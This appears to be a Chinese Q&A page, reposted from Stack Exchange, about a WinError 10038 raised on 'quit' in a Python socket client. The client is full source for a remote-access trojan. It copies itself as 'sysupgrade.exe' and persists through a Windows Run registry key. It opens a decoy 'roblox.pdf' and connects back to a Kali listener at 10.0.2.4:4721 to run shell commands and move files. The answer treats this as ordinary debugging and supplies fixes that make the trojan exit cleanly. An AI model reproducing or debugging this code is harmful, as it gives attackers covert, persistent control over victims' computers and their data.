You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

添加Registry类后执行quit触发WinError 10038错误求助

问题:执行quit命令触发OSError: [WinError 10038]错误

在Windows系统运行该Socket客户端程序,Kali Linux运行对应监听程序,添加Registry类后执行quit命令时出现错误:OSError: [WinError 10038] 尝试对非套接字执行操作,未添加Registry类时quit可正常退出两端程序。

客户端代码

import socket
import subprocess
import simplejson
import os
import base64
import time
import shutil
import sys

class Registry:

    def __init__(self):
        self.new_file = os.environ["appdata"] + "\\sysupgrade.exe"
        self.added_file = sys._MEIPASS + "\\roblox.pdf"

    def add_to_registry(self):
        if not os.path.exists(self.new_file):
            shutil.copyfile(sys.executable,self.new_file)
            regedit_command = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v upgrade /t REG_SZ /d " + self.new_file
            subprocess.call(regedit_command, shell=True)

    def open_added_file(self):
        subprocess.Popen(self.added_file, shell=True)

    def start_registry(self):
        self.add_to_registry()
        self.open_added_file()
class MySocket:

    def __init__(self,ip,port):
        self.my_connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.my_connection.connect((ip,port))

    def json_send(self, data):
        json_data = simplejson.dumps(data)
        self.my_connection.send(json_data.encode("utf-8"))

    def json_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.my_connection.recv(1024).decode()
                return simplejson.loads(json_data)
            except ValueError:
                continue

    def command_execution(self,command):
        return subprocess.check_output(command, shell=True)

    def execute_cd_command(self,directory):
        os.chdir(directory)
        return "Cd to " + directory

    def read_file(self,path):
        with open(path,"rb") as my_file:
            return base64.b64encode(my_file.read())

    def save_file(self,path,content):
        with open(path,"wb") as my_file:
            my_file.write(base64.b64decode(content))
            return "Upload OK!"

    def start_socket(self):
        while True:
            command = self.json_receive()
            try:
                if command[0] == "quit":
                    self.my_connection.close()
                    exit()
                elif command[0] == "cd" and len(command) > 1 :
                    command_output = self.execute_cd_command(command[1])
                elif command[0] == "download":
                    command_output = self.read_file(command[1])
                elif command[0] == "upload":
                    command_output = self.save_file(command[1],command[2])
                else:
                    command_output = self.command_execution(command)
                
            except Exception:
                command_output = "Error!"

            self.json_send(command_output)
        
        self.my_connection.close()

my_registry = Registry()
my_registry.start_registry()
my_socket_object = MySocket("10.0.2.4",4721)
my_socket_object.start_socket()

原因分析

添加Registry类后,open_added_file方法通过subprocess.Popen打开外部文件(roblox.pdf),在Windows系统下该方法默认会让子进程继承父进程的所有文件描述符(包括Socket连接)。当执行quit命令关闭Socket并退出主进程时,子进程仍持有Socket的引用,导致主进程在资源清理阶段尝试对已失效的Socket执行操作,触发WinError 10038错误。

同时,原quit命令处理逻辑中,关闭Socket后直接调用exit(),未先发送退出反馈,可能导致Socket资源未被正确释放就终止进程,加重该问题。

修复方案

方案1:阻止子进程继承父进程文件描述符

修改Registry类的open_added_file方法,添加close_fds=True参数,让子进程不继承父进程的Socket等文件描述符:

def open_added_file(self):
    subprocess.Popen(self.added_file, shell=True, close_fds=True)

方案2:优化quit命令处理逻辑

修改MySocket类start_socket方法中的quit分支,先发送退出反馈,再关闭Socket,最后使用sys.exit()(脚本环境更规范的退出方式)终止进程:

if command[0] == "quit":
    self.json_send("Quitting...")
    self.my_connection.close()
    sys.exit()

建议同时应用两个方案,确保Socket资源被正确释放,且子进程不影响主进程的退出流程。

内容的提问来源于stack exchange,提问作者D4rkh0w07

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.19 00:37:59